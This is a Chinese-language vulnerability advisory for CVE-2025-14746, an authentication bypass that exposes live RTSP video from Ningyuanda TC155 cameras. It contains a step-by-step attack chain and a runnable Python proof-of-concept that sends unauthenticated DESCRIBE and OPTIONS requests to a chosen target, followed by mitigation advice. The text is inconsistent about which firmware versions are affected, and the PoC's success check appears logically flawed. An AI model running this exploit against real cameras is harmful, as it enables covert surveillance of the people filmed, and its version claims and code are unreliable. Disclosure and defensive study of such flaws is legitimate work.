IPBUF安全漏洞报告
English
CVE-2025-14746 CVSS 4.3 中危

CVE-2025-14746: 宁远达TC155摄像头RTSP视频流未授权访问漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-14746
漏洞类型
不当认证
CVSS评分
4.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ningyuanda TC155

相关标签

认证绕过RTSPIP摄像头视频监控IoT安全NingyuandaTC155中危漏洞邻接网络攻击未授权访问

漏洞概述

CVE-2025-14746是发生在宁远达(Ningyuanda)TC155摄像头设备57.0.2.0版本中的一个中等严重性安全漏洞。该漏洞位于设备的RTSP(实时流协议)实时视频流端点组件中,由于对特定函数的认证机制实施不当,攻击者可以在无需任何身份验证凭据的情况下访问设备的实时视频流内容。CVSS 3.1基础评分为4.3,属于中危级别漏洞,主要影响机密性方面。攻击者必须处于本地网络环境中(邻接网络攻击向量)才能利用此漏洞,这意味着远程互联网攻击者无法直接利用此漏洞。然而,在企业内网、监控网络或共享网络环境中,攻击者可以通过网络嗅探或中间人攻击方式获取视频流访问权限。该漏洞已被公开披露,公开的利用代码可能已被广泛传播。设备供应商在收到漏洞通知后未做出任何回应,这表明可能没有官方的修复补丁可用。对于依赖此设备进行视频监控的组织来说,应立即评估风险并采取相应的缓解措施。

技术细节

该漏洞的根本原因在于Ningyuanda TC155摄像头的RTSP服务实现中存在认证绕过缺陷。RTSP(Real Time Streaming Protocol,实时流协议)是用于控制多媒体服务器传输功能的应用层协议,广泛应用于IP摄像头和视频监控系统中。正常的RTSP实现要求客户端在访问视频流之前进行身份验证,通常通过DESCRIBE、SETUP和PLAY等方法配合认证头信息(如Authorization头)完成。然而,受影响的TC155设备在处理RTSP请求时,对某些函数调用的认证检查逻辑存在缺陷,导致攻击者可以通过构造特定的RTSP请求来绕过认证过程。具体来说,攻击者可以直接发送DESCRIBE请求到RTSP视频流端点,无需提供任何用户名或密码,即可获取到视频流的描述信息(SDP),包括流的URL、编码格式等关键信息。进一步利用可以直接获取未经授权的实时视频流内容。这种认证绕过可能源于固件开发过程中对RTSP协议实现的疏忽,或者是在追求低延迟视频流性能时有意简化了认证流程。攻击者利用此漏洞可以监控目标场所的实时视频,收集敏感信息,进行非法监视活动。

攻击链分析

STEP 1
步骤1: 网络侦察
攻击者位于本地网络(邻接网络),使用网络扫描工具(如Nmap)发现目标TC155摄像头的IP地址和开放的RTSP端口(通常为554)
STEP 2
步骤2: 漏洞探测
攻击者向目标RTSP端点发送未经认证的DESCRIBE请求,探测设备是否响应视频流描述信息(SDP)。如果设备返回200 OK和SDP信息,说明存在认证绕过漏洞
STEP 3
步骤3: 会话建立
攻击者利用获取的SDP信息,发送SETUP请求建立RTSP会话,指定视频流传输参数(通常使用RTP over UDP或TCP)
STEP 4
步骤4: 视频流获取
攻击者发送PLAY请求开始播放视频流,无需提供任何用户名或密码,即可实时接收视频数据
STEP 5
步骤5: 持续监控
攻击者可以持续接收实时视频流,进行非法监视、窃取敏感信息或进一步横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-14746 PoC - Ningyuanda TC155 RTSP Authentication Bypass # Affected Product: Ningyuanda TC155 (firmware < 57.0.2.0) # Attack Vector: Adjacent Network (AV:A) # Authentication Required: None (PR:N) import socket import sys def send_rtsp_request(host, port, request): """ Send RTSP request and receive response """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Send RTSP request sock.send(request.encode('utf-8')) # Receive response response = b'' while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk # Check if response is complete if b'\r\n\r\n' in response: break except socket.timeout: break sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" def exploit_rtsp_bypass(target_ip, rtsp_port=554): """ Exploit CVE-2025-14746: RTSP Authentication Bypass This PoC demonstrates unauthorized access to RTSP video stream """ print(f"[*] Target: {target_ip}:{rtsp_port}") print(f"[*] Testing CVE-2025-14746: RTSP Authentication Bypass") # Method 1: DESCRIBE request without authentication describe_request = ( f"DESCRIBE rtsp://{target_ip}/stream1 RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) print("\n[1] Sending DESCRIBE request without authentication...") response = send_rtsp_request(target_ip, rtsp_port, describe_request) if '200 OK' in response and 'DESCRIBE' in response: print("[+] VULNERABLE: DESCRIBE request succeeded without authentication") print("\n[+] RTSP Response:") print(response[:1000] if len(response) > 1000 else response) # Extract SDP information if 'v=' in response: print("\n[+] Video stream information obtained:") print(" The attacker can now access live video feed without credentials") else: print("[-] DESCRIBE request failed or requires authentication") # Method 2: OPTIONS request without authentication options_request = ( f"OPTIONS rtsp://{target_ip}/stream1 RTSP/1.0\r\n" f"CSeq: 2\r\n" f"\r\n" ) print("\n[2] Sending OPTIONS request without authentication...") response2 = send_rtsp_request(target_ip, rtsp_port, options_request) if '200 OK' in response2: print("[+] OPTIONS request succeeded") if 'Public:' in response2: print("[+] Available methods:", end=" ") for line in response2.split('\r\n'): if 'Public:' in line: print(line.split('Public:')[1].strip()) return True if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [rtsp_port]") print(f"Example: {sys.argv[0]} 192.168.1.100 554") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 exploit_rtsp_bypass(target, port)

影响范围

Ningyuanda TC155 firmware < 57.0.2.0

防御指南

临时缓解措施
由于厂商未回应漏洞报告且可能无官方补丁,建议采取以下临时缓解措施:1) 使用网络防火墙或ACL规则限制对摄像头RTSP端口(554)的访问,仅允许授权的NVR或监控服务器IP访问;2) 将摄像头部署在独立的网络段或VLAN中,与办公网络隔离;3) 启用网络层入侵检测,监控异常的RTSP请求;4) 评估是否需要更换设备供应商;5) 监控网络流量日志,及时发现未授权的视频流访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表